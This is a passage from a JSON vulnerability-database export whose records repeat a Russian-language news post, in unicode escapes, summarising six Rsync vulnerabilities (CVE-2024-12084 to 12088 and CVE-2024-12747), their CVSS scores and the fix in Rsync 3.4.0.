\u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-27T00:00:39.374052Z"}, {"uuid": "cfe52b18-ca68-4448-bfb0-cd6cd2718e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-27T00:00:39.420636Z"}, {"uuid": "4beafec4-fd56-40a3-a33d-f845eae001fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f 